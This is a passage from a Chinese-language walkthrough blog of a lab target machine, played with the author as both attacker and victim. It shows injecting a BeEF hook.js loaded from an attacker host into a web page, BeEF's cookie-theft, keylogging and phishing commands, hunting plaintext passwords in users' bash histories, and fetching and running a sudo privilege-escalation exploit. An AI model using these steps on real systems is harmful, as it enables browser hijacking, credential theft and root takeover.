&lt;p&gt;方式二 — 利用 WordPress（12380 上有博客）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 用已破解的 WordPress 账号登录后台
2. 在文章/评论/小工具里注入 hook.js
3. 等管理员访问
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184136475.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184222021.png"&gt;&lt;/p&gt;
&lt;p&gt;提示评论等待管理员审核。&lt;/p&gt;
&lt;p&gt;方式三 — 这个 &lt;code&gt;/admin112233/&lt;/code&gt; 页面本身已经有 XSS，说明可能有输入点，扫一下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用 nikto 扫 12380&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nikto -h https://192.168.201.148:12380 -ssl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或者 gobuster 跑目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;第五步：受害者触发后 BeEF 控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里我假装John（密码是从[[#获得blog博客系统的用户密码]] 爆破的），因为在名单的第一个，目测是管理员来模拟受害者点击xss的效果&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184556515.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315184626831.png"&gt;&lt;/p&gt;
&lt;p&gt;不过似乎没用。所以我直接修改admin112233的index.html 来验证。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修改 index.html 注入 BeEF hook&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 这里用的root账户，只是为了验证和模拟，实战的时候要看有没有权限修改&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /var/www/https/admin112233/index.html &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;title&amp;gt;mwwhahahah&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;noscript&amp;gt;Give yourself a cookie! Javascript didn&amp;#39;t run =)&amp;lt;/noscript&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;script type=&amp;#34;text/javascript&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;window.alert(&amp;#34;This could of been a BeEF-XSS hook ;)&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;script src=&amp;#34;http://192.168.45.187:3000/hook.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315190337308.png"&gt;&lt;/p&gt;
&lt;p&gt;模拟受害者访问（在 Kali 浏览器里访问）https://192.168.201.148:12380/admin112233/ 忽略证书警告继续访问，BeEF 控制台就会出现一个上线的 zombie。注意页面是 &lt;strong&gt;https&lt;/strong&gt; 但 hook.js 是 &lt;strong&gt;http&lt;/strong&gt;，浏览器可能会因为混合内容拦截，需要在浏览器地址栏点击允许加载不安全内容，或者把 hook 也改成 https。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315185751149.png"&gt;&lt;/p&gt;
&lt;p&gt;如果还是不行就修改浏览器配置，这一步还是模拟受害者浏览器设置的不安全&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Firefox 地址栏输入
about:config 
# 搜索 
security.mixed_content.block_active_content 
# 改为 false
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315191834276.png"&gt;&lt;/p&gt;
&lt;p&gt;一旦有浏览器访问了含 hook.js 的页面，BeEF 控制台会显示上线的 zombie，然后可以：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Commands 面板可执行：
├── 获取 Cookie（结合 HttpOnly 判断是否可窃取）
├── 键盘记录
├── 截图
├── 探测内网（扫描内网其他主机）
├── 获取浏览器信息、已保存密码
├── 社工弹窗（伪造登录框骗取凭据）
└── 重定向到钓鱼页面
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315192539539.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在这个靶机的实际价值：&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;XSS → 窃取管理员 Cookie
 → 用 Cookie 伪造管理员登录 WordPress 后台
 → 后台上传恶意插件/主题 → webshell
 → 从 www-data 开始提权
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这是一条完整的 XSS → RCE 链，不需要任何初始凭据。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315193121473.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315193146321.png"&gt;&lt;/p&gt;
&lt;p&gt;不过目前因为是靶机，所以就是自娱自乐，攻击者和受害者都是我自己扮演的。&lt;/p&gt;
&lt;h3 id="看看是哪个大冤种明文登录ssh"&gt;看看是哪个大冤种明文登录ssh
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;sshpass&amp;#34;&lt;/span&gt; /home/*/.bash_history 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出会直接显示文件路径，例如 &lt;code&gt;/home/someuser/.bash_history:sshpass -p ...&lt;/code&gt;，路径里的用户名就是泄露者。&lt;/p&gt;
&lt;p&gt;也可以更全面地搜：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -r &lt;span class="s2"&gt;&amp;#34;sshpass\|password\|passwd&amp;#34;&lt;/span&gt; /home/*/.bash_history 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315123600775.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124147475.png"&gt;&lt;/p&gt;
&lt;p&gt;就是你 JKanode 啊，哈哈哈哈！&lt;code&gt;.bash_history&lt;/code&gt; 已经看完了，还可以翻这些：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 最近登录记录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;last JKanode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 登录失败记录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;lastb JKanode 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 最后一次登录时间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;lastlog &lt;span class="p"&gt;|&lt;/span&gt; grep JKanode
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 当前/最近的终端活动&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;who
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 进程历史（如果有审计）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;cat /var/log/auth.log &lt;span class="p"&gt;|&lt;/span&gt; grep JKanode
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不过从 &lt;code&gt;.bash_history&lt;/code&gt; 已经能看出这个用户的问题了 — 把密码直接明文写在命令行里（&lt;code&gt;sshpass -p&lt;/code&gt;），这在真实环境里是严重的操作安全失误，密码会永久保存在 history 文件里，并且 &lt;code&gt;ps aux&lt;/code&gt; 执行期间其他用户也能看到进程参数里的明文密码。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124258020.png"&gt;
后面[[#提权root的方法]] 提权后看到的
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124319070.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315123953187.png"&gt;&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;ps aux&lt;/code&gt; 里有几个很有意思的发现：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. root 在跑 nc 监听 666 端口&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root 1515 nc -nlvp 666
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;直接连过去可能就是 root shell：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc 127.0.0.1 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. root 在跑两个可疑脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root 1501 /bin/bash /root/python.sh
root 1503 /bin/bash /usr/local/src/nc.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;如果能读/写这两个脚本就可以提权，看看权限：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -al /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /usr/local/src/nc.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315124753257.png"&gt;
后面[[#666端口发现]]也看了就一个没用的图片&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. JKanode 从没登录过（&lt;code&gt;Never logged in&lt;/code&gt;）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但他的家目录在跑 &lt;code&gt;SimpleHTTPServer 8888&lt;/code&gt;，说明是 root 以他的身份启动的，这个账户是个&amp;quot;服务账户&amp;quot;，history 里的密码是别人操作留下的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 开放的服务一览&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:80&lt;/code&gt; — php -S (www用户)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:8888&lt;/code&gt; — python SimpleHTTPServer (JKanode)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:666&lt;/code&gt; — nc root监听 ← 最可疑&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sshd/vsftpd/smbd/mysql&lt;/code&gt; — 常规服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;优先试 666 端口。&lt;/p&gt;
&lt;h4 id="666端口发现"&gt;666端口发现
&lt;/h4&gt;&lt;p&gt;针对未知服务的端口，可使用 nc 工具进行探测&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc 172.168.169.129 &lt;span class="m"&gt;666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102453354.png"&gt;&lt;/p&gt;
&lt;p&gt;输出乱码，但是可以发现message2.jpg清晰字样&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc 192.168.179.149 666 &amp;gt; message_666
file message_666 //发现是一个zip压缩包
unzip message_666
查看message2.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102729976.png"&gt;&lt;/p&gt;
&lt;p&gt;没什么用，就是出现一个新用户而已。但是后来linpeas审计之后发现配合定时任务是可用的。[[#666端口兔子洞变真洞]]&lt;/p&gt;
&lt;h3 id="smb开放的文件夹"&gt;smb开放的文件夹
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315091904843.png"&gt;&lt;/p&gt;
&lt;h3 id="彩蛋一样的新用户"&gt;彩蛋一样的新用户
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150537141.png"&gt;&lt;/p&gt;
&lt;p&gt;发现新用户 Barry&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145135934.png"&gt;&lt;/p&gt;
&lt;p&gt;又发现一个新的人&lt;code&gt;Abby&lt;/code&gt;，这个人没有出现在之前的ssh和ftp用户名之中。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145255149.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145442331.png"&gt;&lt;/p&gt;
&lt;p&gt;同样新出现的人，还有标题里面的这个 &lt;code&gt;Tim&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316104118970.png"&gt;&lt;/p&gt;
&lt;p&gt;不小心吃了一嘴狗粮，草&lt;/p&gt;
&lt;p&gt;Hello Dolly 是 WordPress 默认自带的彩蛋插件，Matt Mullenweg（WordPress 创始人）亲自写的，每次进后台都会在右上角随机显示一句歌词。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316104626674.png"&gt;&lt;/p&gt;
&lt;p&gt;还tm真有&lt;/p&gt;
&lt;h3 id="akismet-插件xss漏洞"&gt;Akismet 插件XSS漏洞
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101126001.png"&gt;
这两个洞都是&lt;strong&gt;存储型 XSS&lt;/strong&gt;，但实际价值有限，分析一下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;37902.php — legacy.php XSS&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 直接运行，目标是 WordPress 评论区注入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;php 37902.php 172.168.169.131:12380/blogblog
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;原理是向 &lt;code&gt;/wp-content/plugins/akismet/legacy.php&lt;/code&gt; POST 一个含 XSS payload 的请求，payload 会存储在评论里，管理员审核评论时触发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;30036.html — 后台配置页 XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个需要管理员权限才能访问 &lt;code&gt;/wp-admin/plugins.php&lt;/code&gt;，直接在浏览器打开这个 html 文件然后提交表单，触发后台 XSS。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;实际情况：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 先确认 legacy.php 是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;插件目录返回 403，legacy.php 可能不存在（新版本已移除），这个洞基本没法利用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对这个靶机意义不大的原因：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你已经有 root，这两个 XSS 的最终目标也不过是窃取管理员 Cookie 然后登录后台，远不如直接用之前的 &lt;code&gt;advanced-video-embed&lt;/code&gt; 插件洞（任意文件读取）来得直接，那个洞可以直接读 &lt;code&gt;wp-config.php&lt;/code&gt; 拿数据库密码。&lt;/p&gt;
&lt;p&gt;继续跑 &lt;code&gt;39646.py&lt;/code&gt; 那条路更有价值。&lt;/p&gt;
&lt;h3 id="shortcode-ui-和-two-factor-插件没有符合的洞"&gt;shortcode-ui 和 two-factor 插件没有符合的洞
&lt;/h3&gt;&lt;p&gt;没有符合的洞可用&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101414751.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101542958.png"&gt;&lt;/p&gt;
&lt;h3 id="搜索框sql注入失败"&gt;搜索框sql注入失败
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316101931189.png"&gt;&lt;/p&gt;
&lt;h3 id="提权cve-2021-3156漏洞失败"&gt;提权CVE-2021-3156漏洞失败
&lt;/h3&gt;&lt;p&gt;从linpeas 跑出来的结果中丢AI审计的，&lt;code&gt;malloc(): memory corruption&lt;/code&gt; + core dump = 漏洞存在，可以利用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载 PoC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;unzip baron.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-3156-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 这个靶机是 i386 架构，选对应版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;python3 exploit_nss.py
